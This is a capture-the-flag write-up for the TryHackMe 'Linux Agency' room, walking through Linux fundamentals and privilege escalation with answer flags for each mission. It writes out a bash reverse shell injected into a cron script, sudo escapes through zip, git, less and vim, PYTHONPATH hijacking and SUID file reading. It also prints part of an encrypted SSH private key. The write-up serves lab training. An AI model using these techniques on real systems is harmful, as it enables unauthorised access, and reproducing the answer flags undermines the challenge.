Linux Agency - Write-up - TryHackMe

Information

Room#

  • Name: Linux Agency
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: This Room will help you to sharpen your Linux Skills and help you to learn basic privilege escalation in a HITMAN theme. So, pack your briefcase and grab your SilverBallers as its gonna be a tough ride.

Linux Agency

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S ruby-ctf-party gtfoblookup

Let's just jump in#

Starting SSH credentials: agent47 / 640509040147.

Linux Fundamentals#

What is the mission1 flag?

Answer: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}

We get the flag just be connecting over SSH in the welcome banner.

$ ssh agent47@10.10.213.227
$ cat .ssh/rc

What is the mission2 flag?

Answer: mission2{8a1b68bb11e4a35245061656b5b9fa0d}

Remember password = flag.

$ su mission1
$ ls

Then just list files, the flag is a filename.

What is the mission3 flag?

Answer: mission3{ab1e1ae5cba688340825103f70b0f976}

The flag is here, just display it.

mission2@linuxagency:~$ cat flag.txt

What is the mission4 flag?

Answer: mission4{264a7eeb920f80b3ee9665fafb7ff92d}

An invisible character was making the flag hidden. So use the -v or --show-nonprinting option of cat to display the invisible char.

mission3@linuxagency:~$ cat flag.txt
I am really sorry man the flag is stolen by some thief's.
mission3@linuxagency:~$ cat -v flag.txt
mission4{edited}^MI am really sorry man the flag is stolen by some thief's.

What is the mission5 flag?

Answer: mission5{bc67906710c3a376bcc7bd25978f62c0}

Just in a folder:

mission4@linuxagency:~$ cat flag/flag.txt

What is the mission6 flag?

Answer: mission6{1fa67e1adc244b5c6ea711f0c9675fde}

It's just a hidden file:

mission5@linuxagency:~$ ls -lhA
total 12K
lrwxrwxrwx 1 mission5 mission5    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 mission5 mission5 3.7K Jan 12 04:02 .bashrc
-r-------- 1 mission5 mission5   43 Jan 12 04:02 .flag.txt
-rw-r--r-- 1 mission5 mission5  807 Jan 12 04:02 .profile
mission5@linuxagency:~$ cat .flag.txt

What is the mission7 flag?

Answer: mission7{53fd6b2bad6e85519c7403267225def5}

A hidden folder this time:

mission6@linuxagency:~$ ls -lhA
total 12K
lrwxrwxrwx 1 mission6 mission6    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 mission6 mission6 3.7K Jan 12 04:02 .bashrc
drwxr-xr-x 2 mission6 mission6 4.0K Jan 12 04:02 .flag
-rw-r--r-- 1 mission6 mission6  807 Jan 12 04:02 .profile
mission6@linuxagency:~$ cat .flag/flag.txt

What is the mission8 flag?

Answer: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}

mission7 has the wrong home directory set.

mission6@linuxagency:~$ su mission7
Password:
bash: /home/mission6/.bashrc: Permission denied
mission7@linuxagency:~$ cd
bash: cd: /home/mission6: Permission denied
mission7@linuxagency:/home/mission7$ cat /etc/passwd | grep mission7
mission7:x:1007:1007::/home/mission6:/bin/bash

Let's go in its home directory.

mission7@linuxagency:~$ cd /home/mission7
mission7@linuxagency:/home/mission7$ cat flag.txt

What is the mission9 flag?

Answer: mission9{ba1069363d182e1c114bef7521c898f5}

The flag is in the root directory.

mission8@linuxagency:~$ cat /flag.txt

What is the mission10 flag?

Answer: mission10{0c9d1c7c5683a1a29b05bb67856524b6}

There is just the big rockyou dictionnary here, so let's grep inside:

mission9@linuxagency:~$ ls
rockyou.txt
mission9@linuxagency:~$ wc -l rockyou.txt
14344393 rockyou.txt
mission9@linuxagency:~$ grep mission10 rockyou.txt
mission101
mission10
mission10{edited}
mission1098
mission108

What is the mission11 flag?

Answer: mission11{db074d9b68f06246944b991d433180c0}

The flag is hidden in a tree, so we can either find it with grep or find.

mission10@linuxagency:~$ ls -lhA
total 16K
lrwxrwxrwx  1 mission10 mission10    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r--  1 mission10 mission10 3.7K Jan 12 04:02 .bashrc
drwxr-xr-x 12 mission10 mission10 4.0K Jan 12 04:02 folder
drwxr-xr-x  3 mission10 mission10 4.0K Jan 12 04:02 .local
-rw-r--r--  1 mission10 mission10  807 Jan 12 04:02 .profile
mission10@linuxagency:~$ ls folder/
L4D1  L4D10  L4D2  L4D3  L4D4  L4D5  L4D6  L4D7  L4D8  L4D9
mission10@linuxagency:~$ find folder -name flag.txt -type f
folder/L4D8/L3D7/L2D2/L1D10/flag.txt
mission10@linuxagency:~$ grep -r mission11 folder/
folder/L4D8/L3D7/L2D2/L1D10/flag.txt:mission11{edited}

What is the mission12 flag?

Answer: mission12{f449a1d33d6edc327354635967f9a720}

The flag is hidden in an environment variable:

mission11@linuxagency:~$ env | grep flag
flag=mission12{edited}

What is the mission13 flag?

Answer: mission13{076124e360406b4c98ecefddd13ddb1f}

We don't have the permission to read the flag but since we are the owner we can change the permissions.

mission12@linuxagency:~$ cat flag.txt
cat: flag.txt: Permission denied
mission12@linuxagency:~$ ls -l flag.txt
---------- 1 mission12 mission12 44 Jan 12 04:02 flag.txt
mission12@linuxagency:~$ chmod u+r flag.txt
mission12@linuxagency:~$ cat flag.txt

What is the mission14 flag?

Answer: mission14{d598de95639514b9941507617b9e54d2}

The flag is encoded in base64.

mission13@linuxagency:~$ cat flag.txt
bWlzc2lvbjE0e2Q1OThkZTk1NjM5NTE0Yjk5NDE1MDc2MTdiOWU1NGQyfQo=
mission13@linuxagency:~$ cat flag.txt | base64 -d
mission14{edited}

What is the mission15 flag?

Answer: mission15{fc4915d818bfaeff01185c3547f25596}

The flag is encoded in binary:

mission14@linuxagency:~$ cat flag.txt
01101101011010010111001101110011011010010110111101101110001100010011010101111011011001100110001100110100001110010011000100110101011001000011100000110001001110000110001001100110011000010110010101100110011001100011000000110001001100010011100000110101011000110011001100110101001101000011011101100110001100100011010100110101001110010011011001111101

I used my library ctf-party to decode it.

$ ctf_party_console
irb(main):001:0> flag = '0110110101101001011100110111001101101001011011110110111000110001001101010111101101100110011000110011010000111001001100010011010101100100001110000011000100111000011000100110011001100001011001010110011001100110001
1000000110001001100010011100000110101011000110011001100110101001101000011011101100110001100100011010100110101001110010011011001111101'
irb(main):003:0> flag.bin2hex.hex2str
=> "mission15{edited}"

What is the mission16 flag?

Answer: mission16{884417d40033c4c2091b44d7c26a908e}

The time the flag is hexadecimal encoded.

mission15@linuxagency:~$ cat flag.txt
6D697373696F6E31367B38383434313764343030333363346332303931623434643763323661393038657D
mission15@linuxagency:~$ cat flag.txt | base32 -d
base32: invalid input
mission15@linuxagency:~$ cat flag.txt | xxd -r -p
mission16{edited}

Or with ctf-party:

ctf_party_console
irb(main):001:0> flag = '6D697373696F6E31367B38383434313764343030333363346332303931623434643763323661393038657D'
=> "6D697373696F6E31367B38383434313764343030333363346332303931623434643763323661393038657D"
irb(main):002:0> flag.from_hex
=> "mission16{edited}"
irb(main):003:0> flag.hex2str
=> "mission16{edited}"

What is the mission17 flag?

Answer: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}

Here the flag is an executable binary:

mission16@linuxagency:~$ file flag
flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1606102f7b80d832eabee1087180ea7ce24a96ca, not stripped
mission16@linuxagency:~$ chmod u+x flag
mission16@linuxagency:~$ ./flag


mission17{edited}

What is the mission18 flag?

Answer: mission18{f09760649986b489cda320ab5f7917e8}

We have a flag which is encrypted in a Java file.

mission17@linuxagency:~$ cat flag.java
import java.util.*;
public class flag
{
    public static void main(String[] args)
    {
        String outputString="";
        String encrypted_flag="`d~~dbc<5vk=4:;=;9445;o954nil>?=lo8k:4<:h5p";
        int length = encrypted_flag.length();
        for (int i = 0 ; i < length ; i++)
        {
            outputString = outputString + Character.toString((char) (encrypted_flag.charAt(i) ^ 13));
        }
        System.out.println(outputString);
    }
}

It's just a XOR with a simple key (13) so we could break it easily outside but I may be even easier just to compile the Java class. So compile & run it:

mission17@linuxagency:~$ javac flag.java
mission17@linuxagency:~$ ls
flag.class  flag.java
mission17@linuxagency:~$ java flag
mission18{edited}

What is the mission19 flag?

Answer: mission19{a0bf41f56b3ac622d808f7a4385254b7}

Now we have another xor but in ruby this time:

mission18@linuxagency:~$ cat flag.rb
def encryptDecrypt(string)
    key = ['K', 'C', 'Q']
    result = ""
    codepoints = string.each_codepoint.to_a
    codepoints.each_index do |i|
        result += (codepoints[i] ^ 'Z'.ord).chr
    end
    result
end

encrypted = encryptDecrypt("73))354kc!;j8<nk<ol8i;9lhh>bjb<m;nibohon8m'")
puts "#{encrypted}

This time no compilation needed.

mission18@linuxagency:~$ ruby flag.rb
mission19{edited}

What is the mission20 flag?

Answer: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}

A XOR again but in C.

mission19@linuxagency:~$ cat flag.c
#include<stdio.h>
int main()
{
    char flag[] = "gcyyced8:qh:>28l3o3:i2kn8>8;hl>9?9in2oko;iw";
    int length = strlen(flag);
    for (int i = 0 ; i < length ; i++)
    {
        flag[i] = flag[i] ^ 10;
        printf("%c",flag[i]);
    }
    printf("\n\n");
    return 0;
}

Let's compile & run it:

mission19@linuxagency:~$ gcc flag.c
flag.c: In function ‘main’:
flag.c:5:18: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
     int length = strlen(flag);
                  ^~~~~~
flag.c:5:18: warning: incompatible implicit declaration of built-in function ‘strlen’
flag.c:5:18: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
mission19@linuxagency:~$ ./a.out
mission20{edited}

What is the mission21 flag?

Answer: mission21{7de756aabc528b446f6eb38419318f0c}

Another XOR in python.

mission20@linuxagency:~$ cat flag.py
flag = ">:  :<=ab(d76dfe2210fak1gge5e61`kgbj`bk5c0."
for i in range(len(flag)):
    flag = (flag[:i] + chr(ord(flag[i]) ^ ord("S")) +flag[i + 1:]);
    print(flag[i], end = "");
print()

Execute it:

mission20@linuxagency:~$ python3 flag.py
mission21{edited}

What is the mission22 flag?

Answer: mission22{24caa74eb0889ed6a2e6984b42d49aaf}

We have just a sh shell, just by launching bash the flag appears.

What is the mission23 flag?

Answer: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}

Here we have a python interpreter as a shell.

One way to do it is to make spawn a shell from python.

mission21@linuxagency:~$ su mission22
Password:
Python 3.6.9 (default, Oct  8 2020, 12:12:24)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pty
>>> pty.spawn("/bin/bash")
mission22@linuxagency:/home/mission21$ cd
mission22@linuxagency:~$ cat flag.txt

What is the mission24 flag?

Answer: mission24{dbaeb06591a7fd6230407df3a947b89c}

Here we can check the existing hosts in /etc/hosts, there are severals configured for 127.0.0.1. One is for our mission, it must be configured with an Apache httpd virtual host. We can use curl to browse web pages in CLI.

mission23@linuxagency:~$ cat message.txt
The hosts will help you.
[OPTIONAL] Maybe you will need curly hairs.
mission23@linuxagency:~$ cat /etc/hosts
127.0.0.1       localhost       linuxagency     mission24.com
127.0.1.1       ubuntu  linuxagency

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback      linuxagency
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
mission23@linuxagency:~$ curl http://mission24.com -s | grep mission
    <title>mission24{edited}</title>

What is the mission25 flag?

Answer: mission25{61b93637881c87c71f220033b22a921b}

We have a binary that won't tell us much and we won't reverse it so let's try to see if there is a trace of the source code in the editor history.

mission24@linuxagency:~$ file bribe
bribe: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=006516d8c62bb8a5f5a41595ce4529d4bcb159b8, not stripped
mission24@linuxagency:~$ ./bribe


There is a guy who is smuggling flags
Bribe this guy to get the flag
Put some money in his pocket to get the flag

Words are not the price for your flag
Give Me money Man!!!

mission24@linuxagency:~$ grep mission .viminfo
                printf("mission25{edited}\n");
|3,0,4,1,1,0,1610305123,"       printf(\"mission25{edited}\\n\");"

What is the mission26 flag?

Answer: mission26{cb6ce977c16c57f509e9f8462a120f00}

We can't use common commands because our PATH is not set:

mission25@linuxagency:~$ ls -lhA
bash: ls: No such file or directory
mission25@linuxagency:~$ echo $PATH

We can still use built-in shell commands as echo or alias. So we can set our PATH.

mission25@linuxagency:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
mission25@linuxagency:~$ ls -lhA
total 16K
lrwxrwxrwx 1 mission25 mission25    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 mission25 mission25 3.7K Jan 12 04:02 .bashrc
-rw-r--r-- 1 mission25 mission25   44 Jan 12 04:02 flag.txt
drwxr-xr-x 3 mission25 mission25 4.0K Jan 12 04:02 .local
-rw-r--r-- 1 mission25 mission25  807 Jan 12 04:02 .profile
mission25@linuxagency:~$ cat flag.txt
mission26{edited}

What is the mission27 flag?

Answer: mission27{444d29b932124a48e7dddc0595788f4d}

We have a jpeg image but we can use strings to check is there a hidden string in it. By using option -n we can tell it to only display strings larger than 20 bytes.

mission26@linuxagency:~$ strings -n 20 flag.jpg
-mission27{edited}
((((((((((((((((((((((((((((((((((((((((((((((((((

What is the mission28 flag?

Answer: mission28{03556f8ca983ef4dc26d2055aef9770f}

Interestingly enough, the file flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz is seen as a gzip file by file but is seen as a GIF by less which displays us the following magic byte + the flag:

mission27@linuxagency:~$ less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
GIF87a
mission28{edited}

We can also decompress it and apply strings:

mission27@linuxagency:~$ gunzip flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
mission27@linuxagency:~$ ls
flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png
mission27@linuxagency:~$ strings flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png
GIF87a
mission28{edited}

What is the mission29 flag?

Answer: mission29{8192b05d8b12632586e25be74da2fff1}

Here the shell of the user is a ruby interpreter. We just need to make spawn a shell:

mission27@linuxagency:~$ su mission28
Password:
irb(main):001:0> exec '/bin/bash'
mission28@linuxagency:/home/mission27$ cd
mission28@linuxagency:~$ ls -lh
total 16K
-rw-r--r-- 1 mission28 mission28 8.8K Jan 12 04:02 examples.desktop
-r-------- 1 mission28 mission28   44 Jan 12 04:02 txt.galf
mission28@linuxagency:~$ cat txt.galf
}1fff2ad47eb52e68523621b8d50b2918{92noissim

We have the flag displayed the reversed way. I used ctf-party to reverse it:

irb(main):001:0> '}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse
=> "mission29{eited}"

What is the mission30 flag?

Answer: mission30{d25b4c9fac38411d2fcb4796171bda6e}

There is a folder of a web app: bludit, we need to find a password. Let's use a recursive grep for that:

mission29@linuxagency:~$ grep -rn mission30 bludit/
bludit/.htpasswd:1:mission30{edited}

What is viktor's Flag?

Answer: viktor{b52c60124c0f8f85fe647021122b3d9a}

We have a git repository in the folder Escalator:

mission30@linuxagency:~$ cd Escalator/
mission30@linuxagency:~/Escalator$ git --no-pager log
commit 24cbf44a9cb0e65883b3f76ef5533a2b2ef96497 (HEAD -> master, origin/master)
Author: root <root@Xyan1d3>
Date:   Mon Jan 11 15:37:56 2021 +0530

    My 1st python Script

commit e0b807dbeb5aba190d6307f072abb60b34425d44
Author: root <root@Xyan1d3>
Date:   Mon Jan 11 15:36:40 2021 +0530

    Your flag is viktor{edited}

By displaying the commit history, the flag is in a commit title.

Privilege Escalation#

What is dalia's flag?

Answer: dalia{4a94a7a7bb4a819a63a33979926c77dc}

It seems there is a root cron job.

viktor@linuxagency:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   dalia   sleep 30;/opt/scripts/47.sh
*  *    * * *   root    echo "IyEvYmluL2Jhc2gKI2VjaG8gIkhlbGxvIDQ3IgpybSAtcmYgL2Rldi9zaG0vCiNlY2hvICJIZXJlIHRpbWUgaXMgYSBncmVhdCBtYXR0ZXIgb2YgZXNzZW5jZSIKcm0gLXJmIC90bXAvCg==" | base64 -d > /opt/scripts/47.sh;chown viktor:viktor /opt/scripts/47.sh;chmod +x /opt/scripts/47.sh;

Every minute the script /opt/scripts/47.sh will be overwritten and it will be executed after 30 seconds. So if we put a reverse shell in it we will obtain a dalia shell or copy a SUID file.

$ cat eop.sh
#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/9999 0>&1

$ cat eop.sh | base64 -w 0
IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx

Then on the target machine we inject our payload in the script used by the cron job:

viktor@linuxagency:~$ echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d > /opt/scripts/47.sh
viktor@linuxagency:~$ netcat -nlp 9999
id
bash: cannot set terminal process group (3389): Inappropriate ioctl for device
bash: no job control in this shell
dalia@linuxagency:~$ id
uid=1034(dalia) gid=1034(dalia) groups=1034(dalia)
dalia@linuxagency:~$

What is silvio's flag?

Answer: silvio{657b4d058c03ab9988875bc937f9c2ef}

dalia can execute the zip command as silvio:

dalia@linuxagency:~$ sudo -l
Matching Defaults entries for dalia on localhost:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dalia may run the following commands on localhost:
    (silvio) NOPASSWD: /usr/bin/zip

zip can be used to execute commands:

$ gtfoblookup linux sudo zip
zip:

    sudo:

        Code: TF=$(mktemp -u)
              sudo zip $TF /etc/hosts -T -TT 'sh #'
              sudo rm $TF

Let's do this:

dalia@linuxagency:~$ TF=$(mktemp -u)

dalia@linuxagency:~$ sudo -u silvio zip $TF /etc/hosts -T -TT 'bash #'
  adding: etc/hosts (deflated 37%)
id
uid=1032(silvio) gid=1032(silvio) groups=1032(silvio)

cat /home/silvio/flag.txt

python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: /home/dalia/.bashrc: Permission denied
silvio@linuxagency:/home/silvio$
silvio@linuxagency:/home/silvio$ export TERM=xterm
silvio@linuxagency:/home/silvio$ export SHELL=bash
silvio@linuxagency:/home/silvio$ ^Z
[1]+  Stopped                 netcat -nlp 9999
viktor@linuxagency:~$ stty raw -echo
viktor@linuxagency:~$ fg
silvio@linuxagency:/home/silvio$ export HOME=/home/silvio

What is reza's flag?

Answer: reza{2f1901644eda75306f3142d837b80d3e}

silvio can execute git as reza:

silvio@linuxagency:~$ sudo -l
Matching Defaults entries for silvio on localhost:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User silvio may run the following commands on localhost:
    (reza) SETENV: NOPASSWD: /usr/bin/git

Let's see what we can do:

$ gtfoblookup linux sudo git
git:

    sudo:

        Code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help

        Description: This invokes the default pager, which is likely to
                     be [`less`](/gtfobins/less/), other functions may apply.
        Code: sudo git -p help config
              !/bin/sh

        Description: The help system can also be reached from any `git`
                     command, e.g., `git branch`. This invokes the default
                     pager, which is likely to be [`less`](/gtfobins/less/),
                     other functions may apply.
        Code: sudo git branch --help config
              !/bin/sh

        Description: Git hooks are merely shell scripts and in the
                     following example the hook associated to the `pre-commit`
                     action is used. Any other hook will work, just make sure to
                     be able perform the proper action to trigger it. An
                     existing repository can also be used and moving into the
                     directory works too, i.e., instead of using the `-C`
                     option.
        Code: TF=$(mktemp -d)
              git init "$TF"
              echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
              mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
              sudo git -C "$TF" commit --allow-empty -m x

        Code: TF=$(mktemp -d)
              ln -s /bin/sh "$TF/git-x"
              sudo git "--exec-path=$TF" x

So let's use the 1st method:

silvio@linuxagency:~$ sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
$ id
uid=1033(reza) gid=1033(reza) groups=1033(reza)
$ export HOME=/home/reza
$ cd
$ cat flag.txt

What is jordan's flag?

Answer: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}

$ sudo -l
Matching Defaults entries for reza on localhost:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User reza may run the following commands on localhost:
    (jordan) SETENV: NOPASSWD: /opt/scripts/Gun-Shop.py

We don't have the permission to read the script. But by executing it we can see it tries to load a module that is not there:

$ sudo -u jordan /opt/scripts/Gun-Shop.py
Traceback (most recent call last):
  File "/opt/scripts/Gun-Shop.py", line 2, in <module>
    import shop
ModuleNotFoundError: No module named 'shop'

From sudo man page:

 -l, --list  If no command is specified, list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host.  A longer list format is used if this option is specified
            multiple times and the security policy supports a verbose output format.

            If a command is specified and is permitted by the security policy, the fully-qualified path to the command is displayed along with any command line arguments.  If a command is specified but not allowed by the pol‐
            icy, sudo will exit with a status value of 1.

Using two times the -l option we obtain the advaced policy details:

$ sudo -ll
sudo -ll
Matching Defaults entries for reza on linuxagency:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User reza may run the following commands on linuxagency:

Sudoers entry:
    RunAsUsers: jordan
    Options: setenv, !authenticate
    Commands:
        /opt/scripts/Gun-Shop.py

We can see the option setenv that allow us to set envrionement variables, so we can set one to specify the python PATH.

$ mkdir -p /tmp/shop; echo 'import os; os.system("/bin/bash");' > /tmp/shop/shop.py
$ sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py
jordan@linuxagency:/home/silvio$ id
id
uid=1035(jordan) gid=1035(jordan) groups=1035(jordan)
}3c3e9f8796493b98285b9c13c3b4cbcf{nadroj

We have to reverse the flag:

$ irb
irb(main):001:0> '}3c3e9f8796493b98285b9c13c3b4cbcf{nadroj'.reverse
=> "jordan{edited}"

What is ken's flag?

Answer: ken{4115bf456d1aaf012ed4550c418ba99f}

jordan can run less as ken, you can type !/bin/bash in most tools with a pager like less.

jordan@linuxagency:~$ sudo -l
Matching Defaults entries for jordan on linuxagency:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jordan may run the following commands on linuxagency:
    (ken) NOPASSWD: /usr/bin/less

jordan@linuxagency:~$  sudo -u ken /usr/bin/less /etc/os-release

ken@linuxagency:/home/jordan$ cd

ken@linuxagency:~$ id
uid=1036(ken) gid=1036(ken) groups=1036(ken)

ken@linuxagency:~$ cat flag.txt
ken{edited}

What is sean's flag?

Answer: sean{4c5685f4db7966a43cf8e95859801281}

ken can run vim as sean, the escape tricks is nearly the same, launch vim and type :!/bin/bash:

ken@linuxagency:~$ sudo -l
Matching Defaults entries for ken on linuxagency:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ken may run the following commands on linuxagency:
    (sean) NOPASSWD: /usr/bin/vim

ken@linuxagency:~$ sudo -u sean vim

sean@linuxagency:~$ id
uid=1037(sean) gid=1037(sean) groups=1037(sean),4(adm)

sean is in the adm group so he can read /var/log:

sean@linuxagency:~$ grep -r 'sean{' /var/log 2>/dev/null
/var/log/syslog.bak:Jan 12 02:58:58 ubuntu kernel: [    0.000000] ACPI: LAPIC_NMI (acpi_id[0x6d] high edge lint[0x1]) : sean{edited} VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==

sean@linuxagency:~$ printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d
The password of penelope is edited

We obtained the flag +the password of next user as a waypoint.

The password of penelope is p3nelope

What is penelope's flag?

Answer: penelope{2da1c2e9d2bd0004556ae9e107c1d222}

sean@linuxagency:~$ su penelope
Password:

penelope@linuxagency:/home/sean$ cd

penelope@linuxagency:~$ id
uid=1038(penelope) gid=1038(penelope) groups=1038(penelope)

penelope@linuxagency:~$ cat flag.txt
penelope{edited}

What is maya's flag?

Answer: maya{a66e159374b98f64f89f7c8d458ebb2b}

penelope@linuxagency:~$ ls -lhA
ls -lhA
total 72K
-rwsr-sr-x 1 maya     maya      39K Jan 12 04:02 base64
lrwxrwxrwx 1 penelope penelope    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 penelope penelope  220 Jan 12 04:02 .bash_logout
-rw-r--r-- 1 penelope penelope 3.7K Jan 12 04:02 .bashrc
-rw-r--r-- 1 penelope penelope 8.8K Jan 12 04:02 examples.desktop
-r-------- 1 penelope penelope   43 Jan 12 04:02 flag.txt
drwx------ 3 penelope penelope 4.0K Jan 12 08:32 .gnupg
-rw-r--r-- 1 penelope penelope  807 Jan 12 04:02 .profile

We have a base64 binary with SUID for maya.

Let's check GTFObins:

$ gtfoblookup linux suid base64
base64:

    suid:

        Code: LFILE=file_to_read
              ./base64 "$LFILE" | base64 --decode

So we will be able to read maya's flag:

penelope@linuxagency:~$ LFILE=/home/maya/flag.txt

penelope@linuxagency:~$ ./base64 "$LFILE" | base64 -d
maya{edited}

What is robert's Passphrase?

Answer: industryweapon

maya seems in possesion of roberrt ssh key:

penelope@linuxagency:~$ su maya
su maya
Password:

maya@linuxagency:/home/penelope$ cd

maya@linuxagency:~$ ls -lhA
ls -lhA
total 44K
lrwxrwxrwx 1 maya maya    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 maya maya  220 Jan 12 04:02 .bash_logout
-rw-r--r-- 1 maya maya 3.7K Jan 12 04:02 .bashrc
-rw-r--r-- 1 maya maya  519 Jan 12 10:51 elusive_targets.txt
-rw-r--r-- 1 maya maya 8.8K Jan 12 04:02 examples.desktop
-r-------- 1 maya maya   39 Jan 12 04:02 flag.txt
drwxr-xr-x 3 maya maya 4.0K Jan 12 04:02 .local
drwxr-xr-x 2 maya maya 4.0K Jan 15 07:25 old_robert_ssh
-rw-r--r-- 1 maya maya  807 Jan 12 04:02 .profile
drwx------ 2 maya maya 4.0K Jan 12 04:02 .ssh
maya@linuxagency:~$ ls -lhA old_robert_ssh
ls -lhA old_robert_ssh
total 8.0K
-rw------- 1 maya maya 1.8K Jan 12 04:02 id_rsa
-rw-r--r-- 1 maya maya  401 Jan 15 07:25 id_rsa.pub

We can copy the private key; convert it in john format and crack the passphrase maybe robert is using the same as PAM password.

maya@linuxagency:~$ cat old_robert_ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,7903FE7BDBA051C4B0BF7C6C5C597E0B

iRzpH6qjXDvmVU5wwYU7TQfyQHIqYzR0NquznZ3OiXyaSOaovgPXdGP3r50vfIV6
i07H7ZSczz4nuenYJGIE7ZfDYtVVA9R6IdcIZecYF2L3OfHoR/ghGOlbLC+Hyvky
RMcrEgajpdV7zCPRHckiBioxzx1K7kfkinyiSBoV9pz9PuAKo47OHtKDdtjWFV+A
PkiWa8aCmAGShC9RZkZLMRhVkR0TZGOgJGTs/MncopyJJ6TgJ9AzHcQo3vcf5A3k
7f3+9Niw7mMFmWrU35WOBpAynGkK9eDTvt/DoIMJcT9KL1BBaEzReO8mETNqfT5G
QncO/4tBSG7QaU6pQkd+UiZCtltp47Tu9hwSEsxDIleespuBn9mDHrYtBDC8jEBq
nqm0sDdYOPzjUTMDSJgqmLZ0lzagTa1OMNUlvRAz5Sde4bKAoYRgVvBWJ4whn4H+
OIHhFQ6tbCVr/0tosYrc9ehM4N4TiJ0SyfrP1XmDo8bud+UtNf2Tf/vKjYT9FP+/
+HqrIn1ou4Cvvu/jPbwVU8Ejh4CX/TJhDK6JqLzsqOp0M8jBccCR+zrRXcZsKLnG
JUTqxKwML7FhRiAgeTmOUx43XVOvzrNOmZ+8EmbmE4fW5x9UKR2nzKgILwHApayK
dmKbym96uSoQOm4KycXjoDVw9nAgRQQVQ+3Ndy0JwuyXN7keNcesEN5hb5VNN9VP
jp+mS+c/CctyLSgZkGJif2r2N+3x2AZFkDs059sPQB8UGvI4w41qGBubfsHAvVPW
KH+HAgj1i1RM0/XZ5XKIl0K4iO/eQ5xTAPah51f6LCYnZo/G6fM7IT72k0Z0KMZ8
EiySGtRCcv7vrkVRjkgmw4lAeGLJ9FBOw8IdKa9ftYJauKY/E0Gs1Qhefl+3K2BB
